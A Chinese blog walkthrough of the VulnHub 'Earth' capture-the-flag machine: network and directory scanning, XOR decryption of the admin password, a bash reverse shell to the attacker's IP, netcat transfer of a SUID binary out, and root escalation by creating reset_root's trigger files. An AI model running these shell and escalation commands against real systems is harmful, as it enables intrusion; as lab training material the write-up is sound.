Earth

最新推荐文章于 2024-12-19 16:16:03 发布
原创 最新推荐文章于 2024-12-19 16:16:03 发布 · 1k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#web安全 #python #html

本文记录了对Earth安全消息系统的渗透测试过程，包括网络扫描、服务探测、目录爆破及利用XOR加密算法进行解密等技术细节，并最终获取到了系统的root权限。 
$ sudo nmap -sP 192.168.0.1/24

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-27 02:19 CST
Nmap scan report for 192.168.0.1
Host is up (0.00047s latency).
MAC Address: 24:69:8E:07:FE:4E (Shenzhen Mercury Communication Technologies)
Nmap scan report for 192.168.0.100
Host is up (0.18s latency).
MAC Address: DA:3F:DF:36:C2:F8 (Unknown)
Nmap scan report for earth.local (192.168.0.103)
Host is up (0.00024s latency).
MAC Address: 08:00:27:76:5E:4C (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.0.104
Host is up (0.18s latency).
MAC Address: C8:94:02:0F:E5:33 (Chongqing Fugui Electronics)
Nmap scan report for 192.168.0.107
Host is up (0.15s latency).
MAC Address: D2:66:41:4A:73:EF (Unknown)
Nmap scan report for 192.168.0.109
Host is up (0.0015s latency).
MAC Address: E8:6A:64:83:2C:C0 (Lcfc(hefei) Electronics Technology)
Nmap scan report for 192.168.0.105
Host is up.
Nmap done: 256 IP addresses (7 hosts up) scanned in 3.09 seconds

$ sudo nmap -sV -sC -A 192.168.0.103

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-27 02:21 CST
Nmap scan report for earth.local (192.168.0.103)
Host is up (0.00039s latency).
Not shown: 987 filtered tcp ports (no-response), 10 filtered tcp ports (admin-prohibited)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey: 
|   256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA)
|_  256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 (ED25519)
80/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-title: Earth Secure Messaging
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
|_http-title: Earth Secure Messaging
| ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
| Not valid before: 2021-10-12T23:26:31
|_Not valid after:  2031-10-10T23:26:31
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
| tls-alpn: 
|_  http/1.1
MAC Address: 08:00:27:76:5E:4C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.4
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.39 ms earth.local (192.168.0.103)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.47 seconds

$ vim /etc/hosts

$ cat /etc/hosts

127.0.0.1	localhost
127.0.1.1	kali
192.168.0.103		earth.local terratest.earth.local

python3 dirsearch.py -e php,txt,zip,html -u https://earth.local/  -t 40 --exclude-status 403,401


  _|. _ _  _  _  _ _|_    v0.4.2.3
 (_||| _) (/_(_|| (_| )

Extensions: php, txt, zip, html | HTTP method: GET | Threads: 40 | Wordlist size: 10780

Output File: /home/joker/softwares/dirsearch/reports/earth.local/__22-03-28_02-02-47.txt

Target: https://earth.local/

[02:02:47] Starting: 
[02:02:52] 301 -    0B  - /admin  ->  /admin/
[02:02:53] 200 -  306B  - /admin/
[02:02:53] 200 -  306B  - /admin/?/login
[02:02:53] 200 -  746B  - /admin/login

Task Completed

python3 dirsearch.py -e php,txt,zip,html -u terratest.earth.local  -t 40 --exclude-status 403,401


  _|. _ _  _  _  _ _|_    v0.4.2.3
 (_||| _) (/_(_|| (_| )

Extensions: php, txt, zip, html | HTTP method: GET | Threads: 40 | Wordlist size: 10780

Output File: /home/joker/softwares/dirsearch/reports/terratest.earth.local_22-03-28_02-05-14.txt

Target: https://terratest.earth.local/

[02:05:14] Starting: 
[02:05:27] 200 -   26B  - /index.html
[02:05:33] 200 -  521B  - /robots.txt

Task Completed

37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

https://terratest.earth.local/robots.txt

User-Agent: *
Disallow: /*.asp
Disallow: /*.aspx
Disallow: /*.bat
Disallow: /*.c
Disallow: /*.cfm
Disallow: /*.cgi
Disallow: /*.com
Disallow: /*.dll
Disallow: /*.exe
Disallow: /*.htm
Disallow: /*.html
Disallow: /*.inc
Disallow: /*.jhtml
Disallow: /*.jsa
Disallow: /*.json
Disallow: /*.jsp
Disallow: /*.log
Disallow: /*.mdb
Disallow: /*.nsf
Disallow: /*.php
Disallow: /*.phtml
Disallow: /*.pl
Disallow: /*.reg
Disallow: /*.sh
Disallow: /*.shtml
Disallow: /*.sql
Disallow: /*.txt
Disallow: /*.xml
Disallow: /testingnotes.*

Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

测试安全消息系统注意事项：
*使用 XOR 加密作为算法，在 RSA 中使用应该是安全的。
*地球已确认他们已收到我们发送的消息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做：
*我们如何安全地将我们的每月密钥发送到地球？ 还是我们应该每周更换密钥？
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长？
*需要改进消息界面和管理面板的界面，目前非常基础。 

import binascii

key = binascii.b2a_hex(open('/home/joker/文档/markdown./vuluhub./or.txt', 'rb+').read()).decode()
pwd = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
print(hex(int(key, 16) ^ int(pwd, 16)))

0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

bash -c 'bash -i >& /dev/tcp/0xc0.0xa8.0x00.0x69/2333 0>&1'

bash-5.1$ find / -user root -perm -4000 -print 2>/dev/null

/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/reset_root
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1

bash-5.1$ strings /usr/bin/reset_root

strings /usr/bin/reset_root
/lib64/ld-linux-x86-64.so.2
setuid
puts
system
access
__libc_start_main
libc.so.6
GLIBC_2.2.5
__gmon_start__
H=@@@
paleblueH
]\UH
credentiH
als rootH
:theEartH
hisflat
[]A\A]A^A_
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth
/usr/bin/echo 'root:Earth' | /usr/sbin/chpasswd
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
;*3$"
GCC: (GNU) 11.1.1 20210531 (Red Hat 11.1.1-3)
GCC: (GNU) 11.2.1 20210728 (Red Hat 11.2.1-1)
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
3g979
running gcc 11.1.1 20210531
annobin gcc 11.1.1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA!stack_realign
/usr/lib/gcc/x86_64-redhat-linux/11/../../../../lib64/crt1.o
.annobin_lto
.annobin_lto_end
.annobin_lto.hot
.annobin_lto_end.hot
.annobin_lto.unlikely
.annobin_lto_end.unlikely
.annobin_lto.startup
.annobin_lto_end.startup
.annobin_lto.exit
.annobin_lto_end.exit
__abi_tag
.annobin__dl_relocate_static_pie.start
.annobin__dl_relocate_static_pie.end
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
reset_root_3.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
puts@GLIBC_2.2.5
_edata
system@GLIBC_2.2.5
__libc_start_main@GLIBC_2.2.5
magic_cipher
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
_dl_relocate_static_pie
__bss_start
main
access@GLIBC_2.2.5
__TMC_END__
setuid@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment
.gnu.build.attributes

bash-5.1$ reset_root

reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

bash-5.1$ nc 192.168.0.105 1233 < /usr/bin/reset_root  

$ nc -nlvp 1233 >reset_root    

listening on [any] 1233 ...
connect to [192.168.0.105] from (UNKNOWN) [192.168.0.108] 52056

chmod 777 /home/joker/reset_root 

strace /home/joker/reset_root 

execve("/home/joker/reset_root", ["/home/joker/reset_root"], 0x7ffee86595d0 /* 93 vars */) = 0
brk(NULL)                               = 0x2362000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f03db275000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (没有那个文件或目录)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=111627, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 111627, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f03db259000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@y\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\200\0\300\4\0\0\0\1\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0?\323\315\324#\241\204X\331\333:^P\242\263\300"..., 68, 880) = 68
newfstatat(3, "", {st_mode=S_IFREG|0755, st_size=1904752, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 1938296, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f03db07f000
mprotect(0x7f03db0a5000, 1724416, PROT_NONE) = 0
mmap(0x7f03db0a5000, 1409024, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x26000) = 0x7f03db0a5000
mmap(0x7f03db1fd000, 311296, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17e000) = 0x7f03db1fd000
mmap(0x7f03db24a000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1ca000) = 0x7f03db24a000
mmap(0x7f03db250000, 33656, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f03db250000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f03db07c000
arch_prctl(ARCH_SET_FS, 0x7f03db07c740) = 0
mprotect(0x7f03db24a000, 12288, PROT_READ) = 0
mprotect(0x403000, 4096, PROT_READ)     = 0
mprotect(0x7f03db2a6000, 8192, PROT_READ) = 0
munmap(0x7f03db259000, 111627)          = 0
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x6), ...}, AT_EMPTY_PATH) = 0
brk(NULL)                               = 0x2362000
brk(0x2383000)                          = 0x2383000
write(1, "CHECKING IF RESET TRIGGERS PRESE"..., 38CHECKING IF RESET TRIGGERS PRESENT...
) = 38
access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (没有那个文件或目录)
write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
) = 44
exit_group(0)                           = ?
+++ exited with 0 +++

bash-5.1$ touch /dev/shm/kHgTFI5G
touch /dev/shm/kHgTFI5G

bash-5.1$ touch /dev/shm/Zw7bV9U5
touch /dev/shm/Zw7bV9U5=

bash-5.1$ touch /tmp/kcM0Wewe
touch /tmp/kcM0Wewe

bash-5.1$ reset_root
reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth

bash-5.1$ su

su
Password: Earth
whoami
root
cd /root 
ls
anaconda-ks.cfg
root_flag.txt
cat root_flag.txt


              _-o#&&*''''?d:>b\_
          _o/"`''  '',, dMF9MMMMMHo_
       .o&#'        `"MbHMMMMMMMMMMMHo.
     .o"" '         vodM*$&&HMMMMMMMMMM?.
    ,'              $M&ood,~'`(&##MMMMMMH\
   /               ,MMMMMMM#b?#bobMMMMHMMML
  &              ?MMMMMMMMMMMMMMMMM7MMM$R*Hk
 ?$.            :MMMMMMMMMMMMMMMMMMM/HMMM|`*L
|               |MMMMMMMMMMMMMMMMMMMMbMH'   T,
$H#:            `*MMMMMMMMMMMMMMMMMMMMb#}'  `?
]MMH#             ""*""""*#MMMMMMMMMMMMM'    -
MMMMMb_                   |MMMMMMMMMMMP'     :
HMMMMMMMHo                 `MMMMMMMMMT       .
?MMMMMMMMP                  9MMMMMMMM}       -
-?MMMMMMM                  |MMMMMMMMM?,d-    '
 :|MMMMMM-                 `MMMMMMMT .M|.   :
  .9MMM[                    &MMMMM*' `'    .
   :9MMk                    `MMM#"        -
     &M}                     `          .-
      `&.                             .
        `~,   .                     ./
            . _                  .-
              '`--._,dd###pp=""'

Congratulations on completing Earth!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_b0da9554d29db2117b02aa8b66ec492e]
osg3.6.5 osgEarth3.2加载shp文件，加载earth文件，并生成ive文件
02-13
在本示例中，我们将详细探讨如何使用OSG3.6.5和OSGEarth3.2版本来加载Shapefile文件，加载earth文件，并生成OSGEarth虚拟环境（ive）文件。这个过程涉及到几个关键步骤：首先，正确加载Shapefile数据，这通常需要...
精选资源
osgearth-3.1
11-17
osgEarth是一个开源的、基于OpenGL的三维地理可视化库，它构建在OpenSceneGraph（OSG）之上，提供了强大的地球渲染和地图服务集成功能。"osgearth-3.1"是osgEarth项目的第3.1版本的源代码包，用于开发人员进行地理...
Napping
Forever_Han13的博客
03-26 794
$ sudo nmap -sP 192.168.0.1/24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-26 19:25 CST Nmap scan report for 192.168.0.1 Host is up (0.00040s latency). MAC Address: 24:69:8E:07:FE:4E (Shenzhen Mercury Communication Technologies) Nmap scan report fo
Grub2配置详解
zhongyhc的专栏
04-25 8291
一、grub.cfg详解(红色为说明) grub.cfg 默认为只读，要修改前先设为可写   sudo chmod +w /boot/grub/grub.cfg set default=0 #默认为0 insmod jpeg #添加jpg支持，如要使用png或tga文件做背景，加上 insmod png或insmod tga insmod ext2 #除了用作启动的分区外，其他
vulnhub刷题记录（The Planets: Earth）
ailx10
08-20 2086
英文名称：The Planets: Earth中文名称：行星：地球发布日期：2021 年 11 月 2 日难度：简单描述：地球是一个简单的盒子，尽管您可能会发现它比本系列中的“水星”更具挑战性，并且根据您的经验，在简单的更难的一面。盒子上有两个标志：一个用户标志和一个包含 md5 哈希的根标志。这已经在 VirtualBox 上进行了测试，因此在 VMware 上可能无法正常工作。如有任何问题/问...
OSCP靶场系列-Esay-Amaterasu保姆级
杳若的博客
07-22 7350
OSCP的进阶之路
2019/02/20 启动流程和故障排错
qq_42227818的博客
09-29 304
grub修复的手段，一种是依赖备份，如果没备份，如何做修复 清空446字节， grub -install 不仅修复1阶段，还修复1.5，2阶段的 完成修复 如果重启，那么grub-install 只能在救援模式下执行 /sbin/grub并不是在救援模式加载的光盘下有，它在原来的硬盘里才有，所以需要切跟，最后reboot sync确保写磁盘，因为可能会出现问题 出现这个菜单就是进入2阶段...
精选资源
osgearth-2.8
11-17
osgEarth是一个开源的地理可视化库，它基于OpenSceneGraph（OSG）库，提供了一种在3D场景中展示地形、图像数据、矢量数据和其他地理信息的强大方式。标题"osgearth-2.8"表明这是一个关于osgEarth的2.8版本的资源包，...
精选资源
osgEarth3.7X64 VS2022编译包
10-29
在当前计算机图形学和地理信息系统领域，osgEarth作为一个开源且功能强大的三维地球引擎，扮演着极为重要的角色。它支持多种数据源的集成和三维场景的渲染，常被用于开发地理空间可视化应用，如飞行模拟器、地图应用...
精选资源
基于osgearth3.7版本开发的Demo,能显示经纬度，地球模型
最新发布
02-06
但基于标题和描述的信息，我们可以详尽探讨osgearth及相关的地理信息系统（GIS）应用开发知识点，以及其在3.7版本中地球模型与经纬度显示的能力。 首先，osgearth是一个开源的C++库，它建立在OpenSceneGraph（OSG）...
Vulnhub-THE PLANETS: EARTH
豆傻小饼干随记
11-14 3457
原文：http://www.valesec.top/archives/theplanetsearth THE PLANETS: EARTH 靶机描述 Difficulty: Easy ​ Earth is an easy box though you will likely find it more challenging than "Mercury" in this series and on the harder side of easy, depending on your experi...
grub2详解(翻译和整理官方手册)
码农崛起
05-06 6645
https://www.cnblogs.com/f-ck-need-u/archive/2017/06/29/7094693.html https://www.gnu.org/software/grub/manual/grub/html_node/index.html#SEC_Contents 翻译了grub2官方手册的绝大部分内容，然后自己整理了一下。因为内容有点杂，所以章节安排上可...
记一次反诈骗渗透测试
weixin_52501704的博客
04-04 463
今天朋友突然告诉我，某转买手机被骗了1200块钱，心理一惊，果然不出所料，那我来试试吧。果断收集一下信息：（由于留言骗子返还朋友钱款，暂时给他留点面子，打点马赛克）由于www用户无法写入mysql目录.so文件，无法使用mysql提权。（现在大家知道不要相信qq微信交易的重要性了吧，这种杀猪盘很容易坑人）访问其他站点都能访问，解析ip都是这个，终于发现一个php7的。sudo一直要使用www密码，结果也是无法使用sudo。好家伙，禁用的函数如此之多，那行吧，绕过呗。查看端口，一猜就是宝塔面板搭建，
Linux系统加固
weixin_55270891的博客
12-19 1182
无用账号、用户组和空口令账户排查与加固禁用或删除无用账号使用 cat /etc/passwd 命令查看所有账号把系统一些自带的账号注释掉，不建议直接删除，当你需要某个用户时，自己重新添加会很麻烦。或者以adm为例同上，使用 vim 进行编辑，注释掉不必要的用户组（adm,lp,mail,games,ftp,audio）如果是一些自己添加的账户，不用的话，建议直接删除。加上参数-r，将账号相应的 home 目录与 mail 目录都一起删掉。
VulnHub—Red
Forever_Han13的博客
03-23 6486
$ sudo nmap -sP 192.168.0.1/24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-22 02:44 CST Nmap scan report for 192.168.0.1 Host is up (0.00045s latency). MAC Address: 24:69:8E:07:FE:4E (Shenzhen Mercury Communication Technologies) Nmap scan report fo
grub2-set-default 设置默认开机启动项
热门推荐
jason的笔记
03-02 1万+
使用grub2-editenv list 可以查看grub.cfg中的入口项，通过grub2-set-default + 字符串可以设置默认的启动项 [root@localhost ~]# grub2-editenv list saved_entry=CentOS Linux 7 (AltArch) [root@localhost ~]# grub2-set-default "CentOS Lin...
grub2默认启动linux,grub2修改开机默认启动项
weixin_33365481的博客
05-15 1674
装了Fedora 20 系统，想修改开机启动项，但是在网上的大多是关于grub的开机启动的配置，由于Fedora 20中采用的是grub2文件，跟之前的grub文件不一样，所以修改起来也特别费尽，这里在我不断百度和自己实践的情况下，我成功地修改了启动顺序。以下是经验介绍：1、修改/boot/grub2/grub.cfg文件，其中的menuentry标签中的就是开机的时候，在屏幕上显示的待选择的系统...
linux 修改开机启动参数后，使用grub2-mkconfig 命令使得参数设置有效
Genebrother
07-23 1万+
grub2-mkconfig -o /boot/grub2/grub.cfg reboot 重启机器后使得设备的参数有效
0.0.0.0 127.0.0.1 localhost 192.168.1.xxx 区别与联系？
weixin_34114823的博客
05-06 525
(a)0.0.0.0：是一个非常特殊的IP地址，这个IP相当于java中的this，代表当前设备的IP，可以跟着变化，并不指代一个确定的一个。 (b)127.0.0.1：是回送地址，指本地机，一般用来测试使用。回送地址（127.x.x.x）是本机回送地址（Loopback Address），即主机IP堆栈内部的IP地址，主要用于网络软件测试以及本地机进程间通信，无论什么程序，一旦使用回送地址发送...
Google Earth开发教程详解
标题所指示的知识点是“Google Earth 教程”，而描述进一步明确指出教程内容涵盖的是Google Earth的开发部分。Google Earth是一个虚拟地球软件，允许用户在计算机上浏览卫星图像、地图、地形和3D建筑以及外太空的...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值